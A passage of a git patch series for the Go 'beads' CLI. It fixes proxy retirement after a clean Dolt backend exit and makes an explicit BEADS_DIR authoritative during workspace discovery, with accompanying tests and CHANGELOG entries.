+ defer restoreJSONOutput(t)() + jsonOutput = false + stranded := running + stranded.Running = false + stranded.BackendRunning, stranded.BackendPID, stranded.BackendPort = false, 0, 0 + out := captureStdout(t, func() error { renderProxiedDoltStatus(stranded); return nil }) + if strings.Contains(out, "Dolt server: running") { + t.Errorf("proxy with a dead backend reported as running:\n%s", out) + } + for _, want := range []string{ + "Dolt server: not serving (proxied-server)", + "Proxy PID: 111", + "Backend: not running", + "bd dolt stop", + } { + if !strings.Contains(out, want) { + t.Errorf("missing %q in:\n%s", want, out) + } + } + }) + t.Run("text marks an external backend as somebody else's", func(t *testing.T) { defer restoreJSONOutput(t)() jsonOutput = false @@ -180,6 +202,24 @@ func TestRenderProxiedDoltStatus(t *testing.T) { }) } +func TestProxiedStatusServing(t *testing.T) { + for _, tc := range []struct { + name string + proxyRunning, managed, backendRunning bool + want bool + }{ + {"managed pair live", true, true, true, true}, + {"proxy over dead managed backend", true, true, false, false}, + {"external backend", true, false, false, true}, + {"proxy down", false, true, true, false}, + {"nothing running", false, true, false, false}, + } { + if got := proxiedStatusServing(tc.proxyRunning, tc.managed, tc.backendRunning); got != tc.want { + t.Errorf("%s: proxiedStatusServing(%v, %v, %v) = %v, want %v", tc.name, tc.proxyRunning, tc.managed, tc.backendRunning, got, tc.want) + } + } +} + func restoreJSONOutput(t *testing.T) func() { t.Helper() orig := jsonOutput diff --git a/cmd/bd/proxied_local_backend_exit_test.go b/cmd/bd/proxied_local_backend_exit_test.go new file mode 100644 index 000000000..f4b5e336d --- /dev/null +++ b/cmd/bd/proxied_local_backend_exit_test.go @@ -0,0 +1,71 @@ +//go:build cgo && unix + +package main + +import ( + "encoding/json" + "strings" + "syscall" + "testing" + "time" +) + +// backendCleanExitRetireTimeout bounds how long the proxy may outlive a dolt +// backend that shut down gracefully. dolt's own SIGTERM shutdown dominates it; +// the proxy's health watcher polls every 100ms. +const backendCleanExitRetireTimeout = 30 * time.Second + +// TestManagedLocalProxiedBackendCleanExitRetiresProxy extends the child-death +// contract (see TestManagedLocalProxiedOutageReconnectContract, which kills +// the backend) to a backend that exits CLEANLY: SIGTERM makes dolt shut down +// gracefully with status 0. The proxy must retire just as it does for a +// crash, so the next bd command starts a fresh proxy/backend pair and `bd +// ping` answers from a live store. +// +// Before the fix the proxy only noticed non-zero exits. With idle timeout 0 +// (never idle out) it stayed up and adoptable in front of a dead backend +// indefinitely: `bd dolt status` said "running", and every command, `bd ping` +// included, failed until an operator ran `bd dolt stop`. +func TestManagedLocalProxiedBackendCleanExitRetiresProxy(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdProxiedInit(t, bd, "clean_exit", "--proxied-server-idle-timeout", "0") + sentinel := bdProxiedCreate(t, bd, p.dir, "clean exit sentinel") + + proxyBefore := readManagedProxyPidFile(t, p) + if proxyBefore == nil || !processAlive(proxyBefore.Pid) { + t.Fatalf("managed-local proxy is not running: %+v", proxyBefore) + } + backendBefore := readManagedBackendPidFile(t, p) + if backendBefore == nil || !processAlive(backendBefore.Pid) { + t.Fatalf("managed-local backend is not running: %+v", backendBefore) + } + + if err := syscall.Kill(backendBefore.Pid, syscall.SIGTERM); err != nil { + t.Fatalf("SIGTERM dolt backend pid %d: %v", backendBefore.Pid, err) + } + waitForManagedProxiedShutdown(t, p, proxyBefore.Pid, backendBefore.Pid, backendCleanExitRetireTimeout) + + out, err := bdProxiedRun(t, bd, p.dir, "ping", "--json") + if err != nil { + t.Fatalf("bd ping after the backend exited: %v\n%s", err, out) + } + var ping struct { + Status string `json:"status"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(string(out))), &ping); err != nil || ping.Status != "ok" { + t.Fatalf("bd ping --json: status=%q err=%v\n%s", ping.Status, err, out) + } + if got := bdProxiedShow(t, bd, p.dir, sentinel.ID); got.Title != "clean exit sentinel" { + t.Fatalf("sentinel after restart: %+v", got) + } + + proxyAfter := readManagedProxyPidFile(t, p) + backendAfter := readManagedBackendPidFile(t, p) + if proxyAfter == nil || proxyAfter.Pid == proxyBefore.Pid || !processAlive(proxyAfter.Pid) { + t.Fatalf("expected a fresh live proxy: before=%+v after=%+v", proxyBefore, proxyAfter) + } + if backendAfter == nil || backendAfter.Pid == backendBefore.Pid || !processAlive(backendAfter.Pid) { + t.Fatalf("expected a fresh live backend: before=%+v after=%+v", backendBefore, backendAfter) + } +} diff --git a/internal/storage/dbproxy/server/doltserver.go b/internal/storage/dbproxy/server/doltserver.go index 52ea71a23..0cd1a8a4b 100644 --- a/internal/storage/dbproxy/server/doltserver.go +++ b/internal/storage/dbproxy/server/doltserver.go @@ -36,6 +36,13 @@ const ( LockFileName = "proxy-child.lock" ) +// errBackendExited is the result of the supervising goroutine when the dolt +// sql-server exits on its own with status 0 (for example dolt's graceful +// shutdown on SIGTERM). errgroup cancels egCtx only for a non-nil result, and +// Running reads egCtx, so without it a cleanly exited backend would be +// reported as running forever. +var errBackendExited = errors.New("dolt sql-server exited") + const ( startReadyTimeout = 30 * time.Second startReadyPollInterval = 50 * time.Millisecond @@ -303,7 +310,10 @@ func (s *DoltServer) Start(ctx context.Context) error { eg.Go(func() error { defer lock.Unlock() - return cmd.Wait() + if err := cmd.Wait(); err != nil { + return err + } + return errBackendExited }) if err := s.waitReady(ctx); err != nil { @@ -358,7 +368,7 @@ func (s *DoltServer) Stop(ctx context.Context) error { if s.eg != nil { waitErr = s.eg.Wait() var exitErr *exec.ExitError - if errors.As(waitErr, &exitErr) || errors.Is(waitErr, context.Canceled) { + if errors.As(waitErr, &exitErr) || errors.Is(waitErr, context.Canceled) || errors.Is(waitErr, errBackendExited) { waitErr = nil } } diff --git a/internal/storage/dbproxy/server/doltserver_exit_unix_test.go b/internal/storage/dbproxy/server/doltserver_exit_unix_test.go new file mode 100644 index 000000000..0dcc84fc9 --- /dev/null +++ b/internal/storage/dbproxy/server/doltserver_exit_unix_test.go @@ -0,0 +1,64 @@ +//go:build unix + +package server_test + +import ( + "context" + "syscall" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// backendExitNoticeTimeout bounds how long Running may keep reporting a +// backend that has left the process table. dolt's own graceful shutdown on +// SIGTERM dominates this; the detection itself is immediate. +const ( + backendExitNoticeTimeout = 30 * time.Second + backendExitNoticePoll = 50 * time.Millisecond +) + +// TestDoltServer_RunningFalseAfterBackendExits verifies Running observes the +// dolt sql-server leaving on its own, whatever its exit status. A SIGTERM'd +// dolt shuts down gracefully and exits 0; before the fix only a non-zero exit +// flipped Running, so the proxy's backend health watcher never fired and the +// proxy stayed up (and adoptable) in front of a dead backend. +func TestDoltServer_RunningFalseAfterBackendExits(t *testing.T) { + for _, tc := range []struct { + name string + sig syscall.Signal + }{ + {name: "clean exit on SIGTERM", sig: syscall.SIGTERM}, + {name: "killed", sig: syscall.SIGKILL}, + } { + t.Run(tc.name, func(t *testing.T) { + s, rootDir := newDoltServer(t) + ctx := context.Background() + require.NoError(t, s.Start(ctx)) + require.True(t, s.Running(ctx)) + + pf, err := pidfile.Read(rootDir, server.PIDFileName) + require.NoError(t, err) + require.NotNil(t, pf) + require.NoError(t, syscall.Kill(pf.Pid, tc.sig)) + + deadline := time.Now().Add(backendExitNoticeTimeout) + for s.Running(ctx) && time.Now().Before(deadline) { + time.Sleep(backendExitNoticePoll) + } + require.False(t, s.Running(ctx), "Running still true %s after the dolt sql-server (pid %d) got %s", backendExitNoticeTimeout, pf.Pid, tc.sig) + + // A backend that exited on its own is not a Stop failure. + stopCtx, cancel := context.WithTimeout(ctx, stopTimeout) + defer cancel() + require.NoError(t, s.Stop(stopCtx)) + left, err := pidfile.Read(rootDir, server.PIDFileName) + require.NoError(t, err) + assert.Nil(t, left, "Stop must remove the backend pid record") + }) + } +} From b4d81fdf5bbf7d2f9dc6e888f784496b57f6168e Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:26:09 -0700 Subject: [PATCH 227/624] fix(beads): make an explicit BEADS_DIR authoritative during discovery (#6938) * fix(beads): make an explicit BEADS_DIR authoritative during discovery FindBeadsDir ignored a BEADS_DIR that did not hold project files yet (missing, empty, or uninitialized) and walked up from the current directory instead. PersistentPreRun then rebound BEADS_DIR to whatever ancestor workspace the walk found, so: - `bd init` refused with "already initialized" because of the parent workspace instead of initializing the named directory; - data commands (`bd list`, `bd create`, ...) read and wrote the parent's store. FindBeadsDir now returns "" for such a BEADS_DIR, matching FindDatabasePath, which already refused to fall back. Commands that create a workspace (import/setup default path, bootstrap's fresh-clone synthesis) target the named directory via the new beads.ExplicitBeadsDir helper instead of CWD. Behaviour with BEADS_DIR unset is unchanged. Tests: FindBeadsDir unit cases (missing/empty/non-project BEADS_DIR, initialized BEADS_DIR, unset BEADS_DIR still walks up), and a bd subprocess regression in embedded and proxied-server modes (init under an initialized parent, list refuses, create lands in the new store). Co-Authored-By: Claude Opus 5.5 * docs(changelog): note that BEADS_DIR at a project root now errors Review follow-up for the explicit-BEADS_DIR fix: call out the behaviour change for BEADS_DIR pointing at a project root (or a not-yet-created .beads), which previously worked only because discovery walked up. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (cherry picked from commit 51a7c8e324217a25a97301d303862d1f6865f869) hand-resolved: CHANGELOG entry placed under the hotfix's [Unreleased] ### Fixed; cmd/bd/BUILD.bazel and internal/beads/BUILD.bazel dropped (no Bazel on hotfix/1.3.1). Go code applied unchanged. --- CHANGELOG.md | 18 +++ cmd/bd/bootstrap.go | 4 +- .../init_explicit_beads_dir_embedded_test.go | 146 ++++++++++++++++++ cmd/bd/main.go | 5 + internal/beads/beads.go | 31 +++- internal/beads/explicit_beads_dir_test.go | 116 ++++++++++++++ 6 files changed, 312 insertions(+), 8 deletions(-) create mode 100644 cmd/bd/init_explicit_beads_dir_embedded_test.go create mode 100644 internal/beads/explicit_beads_dir_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index f046b0281..cdf74d896 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -126,6 +126,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **An explicit `BEADS_DIR` is authoritative during workspace discovery.** + When `BEADS_DIR` named a directory without project files yet (missing, + empty, or not initialized), discovery ignored it and walked up from the + current directory instead, then rebound `BEADS_DIR` to whatever ancestor + workspace it found. `bd init` refused with "already initialized" because of + the parent workspace, and data commands such as `bd create` and `bd list` + read and wrote the parent's store. Discovery now reports no workspace for + such a `BEADS_DIR`, so `bd init` initializes the named directory and other + commands fail with "no beads database found". `bd import`/`bd setup` and + `bd bootstrap` target the named directory when they create a workspace. + Behaviour with `BEADS_DIR` unset is unchanged. **Behaviour change:** a + `BEADS_DIR` that points at a project root rather than its `.beads` + directory (for example `BEADS_DIR=$repo` instead of `BEADS_DIR=$repo/.beads`), + or at a `.beads` that does not exist yet, used to work by accident because + discovery walked up to the nearest workspace; it now fails with "no beads + database found". Point `BEADS_DIR` at the `.beads` directory itself. + ([#6938](https://github.com/gastownhall/beads/pull/6938)) + - **A proxied workspace's proxy retires when its Dolt backend exits cleanly.** The proxy noticed its `dolt sql-server` child exiting only when the exit status was non-zero. A backend that shut down gracefully (for diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 95ba55b57..61900646e 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -186,7 +186,9 @@ Examples: if isGitRepo() && !isBareGitRepo() { if originURL, err := gitOriginGetURL(); err == nil && originURL != "" { if gitOriginHasDoltDataRef() { - if fallbackDir := beads.GetWorktreeFallbackBeadsDir(); fallbackDir != "" { + if explicitDir := beads.ExplicitBeadsDir(); explicitDir != "" { + beadsDir = explicitDir + } else if fallbackDir := beads.GetWorktreeFallbackBeadsDir(); fallbackDir != "" { beadsDir = fallbackDir } else { cwd, err := os.Getwd() diff --git a/cmd/bd/init_explicit_beads_dir_embedded_test.go b/cmd/bd/init_explicit_beads_dir_embedded_test.go new file mode 100644 index 000000000..c6bae6f68 --- /dev/null +++ b/cmd/bd/init_explicit_beads_dir_embedded_test.go @@ -0,0 +1,146 @@ +//go:build cgo + +package main + +import ( + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +// explicitBeadsDirMode describes how a storage mode's bd subprocesses are +// initialized and run for the explicit-BEADS_DIR regression tests. +type explicitBeadsDirMode struct { + initArgs []string + env func(home string) []string + proxied bool +} + +// runExplicitBeadsDirBD runs bd in dir with the mode's isolated environment. +// beadsDir, when non-empty, is passed as an explicit BEADS_DIR. +func runExplicitBeadsDirBD(t *testing.T, bd string, mode explicitBeadsDirMode, home, dir, beadsDir string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + env := append(mode.env(home), "XDG_CONFIG_HOME="+filepath.Join(home, ".config")) + if beadsDir != "" { + env = append(env, "BEADS_DIR="+beadsDir) + } + cmd.Env = env + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + return stdout.String(), stderr.String(), err +} + +// testExplicitBeadsDirIsAuthoritative covers the regression where an explicit +// BEADS_DIR without project files was ignored during discovery: bd walked up +// from CWD, bound the parent workspace, and `bd init` then refused ("already +// initialized") while data commands read and wrote the parent's store. +func testExplicitBeadsDirIsAuthoritative(t *testing.T, bd string, mode explicitBeadsDirMode) { + t.Helper() + home := t.TempDir() + parent := t.TempDir() + initGitRepoAt(t, parent) + parentBeadsDir := filepath.Join(parent, ".beads") + child := filepath.Join(parent, "child") + explicit := filepath.Join(child, ".beads") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + if mode.proxied { + for _, root := range []string{filepath.Join(parentBeadsDir, "dolt"), filepath.Join(explicit, "dolt")} { + root := root + t.Cleanup(func() { + if _, err := os.Stat(root); err != nil { + return + } + if err := proxy.Shutdown(root); err != nil { + t.Logf("proxy.Shutdown(%s): %v", root, err) + } + }) + shutdownProxyOnInterrupt(t, root) + } + } + + initArgs := append([]string{"init", "--quiet", "--non-interactive", "--skip-agents", "--skip-hooks"}, mode.initArgs...) + if stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", append(initArgs, "--prefix", "par")...); err != nil { + t.Fatalf("parent bd init: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + parentID, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", "create", "--silent", "parent issue") + if err != nil { + t.Fatalf("parent bd create: %v\nstderr:\n%s", err, stderr) + } + parentID = strings.TrimSpace(parentID) + + // A data command against the uninitialized explicit dir must not fall + // back to the parent workspace. + stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, "list", "--json") + if err == nil || strings.Contains(stdout, parentID) { + t.Errorf("bd list with BEADS_DIR=%s (no workspace yet) should fail without reading the parent store; err=%v\nstdout:\n%s\nstderr:\n%s", explicit, err, stdout, stderr) + } else if !strings.Contains(stderr, "no beads database found") { + t.Errorf("bd list with an uninitialized BEADS_DIR: want \"no beads database found\", got stderr:\n%s", stderr) + } + + // bd init must initialize the explicit dir (existing but empty, as a + // caller that pre-creates it would leave it), not refuse because of the + // parent workspace. + if err := os.MkdirAll(explicit, 0o755); err != nil { + t.Fatal(err) + } + if stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, append(initArgs, "--prefix", "kid")...); err != nil { + t.Fatalf("bd init with BEADS_DIR=%s: %v\nstdout:\n%s\nstderr:\n%s", explicit, err, stdout, stderr) + } + childCfg, err := configfile.Load(explicit) + if err != nil || childCfg == nil { + t.Fatalf("load %s metadata: cfg=%v err=%v", explicit, childCfg, err) + } + if childCfg.DoltDatabase != "kid" { + t.Fatalf("explicit BEADS_DIR dolt_database = %q, want %q", childCfg.DoltDatabase, "kid") + } + parentCfg, err := configfile.Load(parentBeadsDir) + if err != nil || parentCfg == nil || parentCfg.DoltDatabase != "par" { + t.Fatalf("parent metadata changed: cfg=%+v err=%v", parentCfg, err) + } + + // Writes through the explicit dir land in the new workspace only. + childID, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, "create", "--silent", "child issue") + if err != nil { + t.Fatalf("bd create with BEADS_DIR=%s: %v\nstderr:\n%s", explicit, err, stderr) + } + childID = strings.TrimSpace(childID) + if !strings.HasPrefix(childID, "kid-") { + t.Fatalf("bd create with BEADS_DIR=%s minted %q, want a kid- ID", explicit, childID) + } + parentList, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", "list", "--json") + if err != nil { + t.Fatalf("parent bd list: %v\nstderr:\n%s", err, stderr) + } + if strings.Contains(parentList, childID) || !strings.Contains(parentList, parentID) { + t.Fatalf("parent store should hold only %s, got:\n%s", parentID, parentList) + } +} + +func TestEmbeddedInitExplicitBeadsDirIsAuthoritative(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + testExplicitBeadsDirIsAuthoritative(t, buildEmbeddedBD(t), explicitBeadsDirMode{env: bdEnv}) +} + +func TestProxiedServerInitExplicitBeadsDirIsAuthoritative(t *testing.T) { + requireProxiedServerEnv(t) + testExplicitBeadsDirIsAuthoritative(t, buildEmbeddedBD(t), explicitBeadsDirMode{ + initArgs: []string{"--proxied-server"}, + env: bdProxiedEnv, + proxied: true, + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 0943da305..93ec76c45 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1443,6 +1443,11 @@ var rootCmd = &cobra.Command{ // would create a local database instead of using the redirect target. // (GH#bd-0qel) targetBeadsDir := beads.FindBeadsDir() + if targetBeadsDir == "" { + // An explicit BEADS_DIR is authoritative even + // before it holds project files. + targetBeadsDir = beads.ExplicitBeadsDir() + } if targetBeadsDir == "" { targetBeadsDir = ".beads" } diff --git a/internal/beads/beads.go b/internal/beads/beads.go index 5087ae81e..d23141623 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -737,11 +737,26 @@ func hasBeadsDatabase(beadsDir string) bool { return false } +// ExplicitBeadsDir returns the .beads directory named by the BEADS_DIR +// environment variable, canonicalized and with any redirect followed, or "" +// when BEADS_DIR is unset. Unlike FindBeadsDir it does not require the +// directory to exist or to hold project files, so commands that create a +// workspace can target the caller's explicit choice instead of CWD. +func ExplicitBeadsDir() string { + beadsDir := os.Getenv("BEADS_DIR") + if beadsDir == "" { + return "" + } + return FollowRedirect(canonicalizeBeadsDirPath(beadsDir)) +} + // FindBeadsDir finds the .beads/ directory in the current directory tree. // Returns empty string if not found. // // Resolution order: -// 1. BEADS_DIR environment variable (highest priority) +// 1. BEADS_DIR environment variable (highest priority). An explicit +// BEADS_DIR is authoritative: when it does not (yet) hold project files, +// FindBeadsDir returns "" instead of discovering some other workspace. // 2. Walk up from CWD toward repo root boundary, checking each directory // for .beads/ with valid project files. For worktrees, stops at the // worktree root; for non-worktrees, stops at the git root. @@ -756,18 +771,20 @@ func hasBeadsDatabase(beadsDir string) bool { // contents are used as the actual .beads directory path. func FindBeadsDir() string { // 1. Check BEADS_DIR environment variable (preferred) - if beadsDir := os.Getenv("BEADS_DIR"); beadsDir != "" { - absBeadsDir := canonicalizeBeadsDirPath(beadsDir) - - // Follow redirect if present - absBeadsDir = FollowRedirect(absBeadsDir) - + if absBeadsDir := ExplicitBeadsDir(); absBeadsDir != "" { if info, err := os.Stat(absBeadsDir); err == nil && info.IsDir() { // Validate directory contains actual project files if hasBeadsProjectFiles(absBeadsDir) { return absBeadsDir } } + + // The caller named this directory explicitly. Walking up from CWD + // here would bind an unrelated ancestor workspace (and PersistentPreRun + // would then rewrite BEADS_DIR to it), so `bd init` and every other + // command would act on the wrong store. Report "not found" instead, + // matching FindDatabasePath. + return "" } // 2. Walk up from CWD toward the repo root, checking each directory for .beads/. diff --git a/internal/beads/explicit_beads_dir_test.go b/internal/beads/explicit_beads_dir_test.go new file mode 100644 index 000000000..527be25c9 --- /dev/null +++ b/internal/beads/explicit_beads_dir_test.go @@ -0,0 +1,116 @@ +package beads + +import ( + "os" + "os/exec" + "path/filepath" + "testing" +) + +// explicitBeadsDirFixture builds a git repo whose root holds an initialized +// workspace (parent/.beads with metadata.json) and a child directory that has +// not been initialized yet. It chdirs into the child, so an unconstrained walk +// up from CWD would bind the parent workspace. +func explicitBeadsDirFixture(t *testing.T) (parentBeadsDir, childDir string) { + t.Helper() + root := t.TempDir() + cmd := exec.Command("git", "init", "--quiet", root) + cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "HOME="+root, "XDG_CONFIG_HOME="+root) + if out, err := cmd.CombinedOutput(); err != nil { + t.Skipf("git not available: %v: %s", err, out) + } + parentBeadsDir = filepath.Join(root, ".beads") + if err := os.MkdirAll(parentBeadsDir, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(parentBeadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"parent"}`), 0o600); err != nil { + t.Fatal(err) + } + childDir = filepath.Join(root, "child") + if err := os.MkdirAll(childDir, 0o700); err != nil { + t.Fatal(err) + } + t.Chdir(childDir) + return parentBeadsDir, childDir +} + +// TestFindBeadsDir_ExplicitBEADS_DIRIsAuthoritative verifies that an explicit +// BEADS_DIR which does not (yet) hold project files is never replaced by a +// workspace discovered by walking up from CWD. Before the fix, FindBeadsDir +// silently fell back to the ancestor walk, so every command — including +// `bd init` after PersistentPreRun rebinds BEADS_DIR — targeted the parent +// workspace instead of the directory the caller named. +func TestFindBeadsDir_ExplicitBEADS_DIRIsAuthoritative(t *testing.T) { + cases := []struct { + name string + setup func(t *testing.T, explicit string) + }{ + {name: "missing", setup: func(*testing.T, string) {}}, + {name: "empty", setup: func(t *testing.T, explicit string) { + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + }}, + {name: "non-project files only", setup: func(t *testing.T, explicit string) { + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(explicit, "registry.json"), []byte("[]"), 0o600); err != nil { + t.Fatal(err) + } + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + parentBeadsDir, childDir := explicitBeadsDirFixture(t) + explicit := filepath.Join(childDir, ".beads") + tc.setup(t, explicit) + t.Setenv("BEADS_DIR", explicit) + + if got := FindBeadsDir(); got != "" { + t.Fatalf("FindBeadsDir() = %q with BEADS_DIR=%q; want \"\" (explicit BEADS_DIR must not fall back to the ancestor workspace %q)", got, explicit, parentBeadsDir) + } + if got := FindDatabasePath(); got != "" { + t.Fatalf("FindDatabasePath() = %q with BEADS_DIR=%q; want \"\"", got, explicit) + } + }) + } +} + +// TestFindBeadsDir_ExplicitBEADS_DIRSelectedOnceInitialized verifies the +// explicit directory is returned as soon as it holds project files, even with +// an initialized ancestor workspace. +func TestFindBeadsDir_ExplicitBEADS_DIRSelectedOnceInitialized(t *testing.T) { + _, childDir := explicitBeadsDirFixture(t) + explicit := filepath.Join(childDir, ".beads") + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(explicit, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"child"}`), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", explicit) + + got, _ := filepath.EvalSymlinks(FindBeadsDir()) + want, _ := filepath.EvalSymlinks(explicit) + if got != want { + t.Fatalf("FindBeadsDir() = %q; want explicit BEADS_DIR %q", got, want) + } +} + +// TestFindBeadsDir_UnsetBEADS_DIRStillWalksUp pins the unchanged behaviour +// when BEADS_DIR is not set: discovery walks up from CWD to the ancestor +// workspace. +func TestFindBeadsDir_UnsetBEADS_DIRStillWalksUp(t *testing.T) { + parentBeadsDir, _ := explicitBeadsDirFixture(t) + t.Setenv("BEADS_DIR", "") + if err := os.Unsetenv("BEADS_DIR"); err != nil { + t.Fatal(err) + } + + got, _ := filepath.EvalSymlinks(FindBeadsDir()) + want, _ := filepath.EvalSymlinks(parentBeadsDir) + if got != want { + t.Fatalf("FindBeadsDir() = %q; want ancestor workspace %q", got, want) + } +} From cda2407115fa13e9f0d781692863b3ba59b6be17 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 03:07:09 -0700 Subject: [PATCH 228/624] fix(storage): recheck blocked state after commit on the proxied (uow) path and the remaining store routes (#6942) Extends #6719's post-commit blocked-state recheck (gastownhall/beads#6716) to every write runner #6719 left uncovered: - the proxied (uow) write path: every proxied CLI write, bd batch when proxied, and bd serve; - DoltStore.RunInTransaction. It also settles when the regular SQL commit lands and only the Dolt commit after it fails (ErrCommitIndeterminate); - the raw-transaction wisp update, close and delete writers; - both arms of RemoveDependencyWithOptions; - the domain/db recomputes that bypassed issueops. The recording shapes are shared issueops Note* helpers. A failed recheck is reported through issueops.ReportBlockedRecheckFailure (the bd.db.blocked_recheck_dropped counter plus a warning) and never returned. Regression tests fail on main and pass here: a deterministic proxied uow race in six shapes, RunInTransaction and concurrent wisp-close races, sqlmock phase tests for the indeterminate commit, and a proxied CLI fan-in test that runs concurrent `bd close` processes and then checks `bd ready`. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 28 ++- cmd/bd/BUILD.bazel | 1 + .../close_fanin_proxied_integration_test.go | 84 +++++++++ internal/storage/dolt/BUILD.bazel | 3 + .../dolt/blocked_recheck_phase_test.go | 70 +++++++ internal/storage/dolt/blocked_recheck_raw.go | 30 +++ .../storage/dolt/blocked_recheck_raw_test.go | 143 ++++++++++++++ internal/storage/dolt/dependencies.go | 10 +- .../dolt/journal_scope_completeness_test.go | 4 +- internal/storage/dolt/store.go | 34 ++-- internal/storage/dolt/transaction.go | 60 +++++- .../dolt/version_scope_completeness_test.go | 13 +- internal/storage/dolt/wisps.go | 26 ++- .../storage/domain/db/delete_repo_test.go | 6 +- internal/storage/domain/db/dependency.go | 1 + internal/storage/domain/db/issue.go | 11 +- internal/storage/domain/issue.go | 5 +- internal/storage/domain/issue_delete.go | 2 +- internal/storage/issueops/BUILD.bazel | 3 + internal/storage/issueops/blocked_recheck.go | 83 ++++++--- .../issueops/blocked_recheck_report.go | 39 ++++ internal/storage/issueops/bulk_ops.go | 2 +- internal/storage/issueops/close.go | 2 +- internal/storage/issueops/delete.go | 4 +- internal/storage/issueops/dependencies.go | 4 +- internal/storage/issueops/update.go | 2 +- internal/storage/uow/BUILD.bazel | 2 + internal/storage/uow/blocked_recheck.go | 80 ++++++++ .../storage/uow/blocked_recheck_race_test.go | 174 ++++++++++++++++++ internal/storage/uow/dolt_sql_provider.go | 4 +- internal/storage/uow/doltserver_tx.go | 94 +++++++--- 31 files changed, 900 insertions(+), 124 deletions(-) create mode 100644 cmd/bd/close_fanin_proxied_integration_test.go create mode 100644 internal/storage/dolt/blocked_recheck_phase_test.go create mode 100644 internal/storage/dolt/blocked_recheck_raw.go create mode 100644 internal/storage/dolt/blocked_recheck_raw_test.go create mode 100644 internal/storage/issueops/blocked_recheck_report.go create mode 100644 internal/storage/uow/blocked_recheck.go create mode 100644 internal/storage/uow/blocked_recheck_race_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index c336272f1..25f72cb7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **The #6716 fan-in stall is fixed on the proxied-server route and the + remaining store routes.** Two blockers of one dependent taken away at the + same time (parallel workers closing both, or a close racing a + `bd dep remove` or a delete of the other) could leave the dependent + `is_blocked=1` and missing from `bd ready` until `bd recompute-blocked` + ([#6716](https://github.com/gastownhall/beads/issues/6716)). The post-commit + recheck the Dolt store write transactions gained for that issue now also + runs on every write the proxied-server (uow/domain-db) route serves, which + under `--proxied-server` — the default topology — is `bd close` (single + and batch), `bd update --status`, `bd dep remove`, `bd delete`, `bd batch` + and `bd serve`; on `RunInTransaction` (`bd batch` direct, `bd cook`, + `bd mol squash`/`burn`, and SDK callers that close or update inside a + transaction); and on the wisp close, update and delete writers and the + legacy dependency removal behind `bd duplicates --merge`. Demote-to-wisp + moves a row between planes without taking a blocker away and is unchanged. + - **An explicit `BEADS_DIR` is authoritative during workspace discovery.** When `BEADS_DIR` named a directory without project files yet (missing, empty, or not initialized), discovery ignored it and walked up from the @@ -183,15 +199,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 update to an inactive status, a dependency removal, a delete) and runs through a Dolt store write transaction now rechecks the dependents it recomputed once that transaction has committed - ([#6716](https://github.com/gastownhall/beads/issues/6716)). Writes that - reach the database another way still need the `bd doctor` / - `bd recompute-blocked` repair they needed before: `bd batch` (on both its - plain and its proxied transaction), `bd cook`, `bd mol squash`, - `bd mol burn`, `bd duplicates --merge`, the wisp writes — closes, updates, - deletes and demote-to-wisp — and every write served through the - proxied-server (uow/domain-db) route, which under `--proxied-server` is the - ordinary single verbs as well: `bd close`, `bd update`, `bd delete` and - `bd dep remove`. + ([#6716](https://github.com/gastownhall/beads/issues/6716)). The + proxied-server route and the remaining store routes are covered by the + entry above. - **`bd list --watch --format` is refused instead of silently dropping the diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 96a4ff73e..85e633049 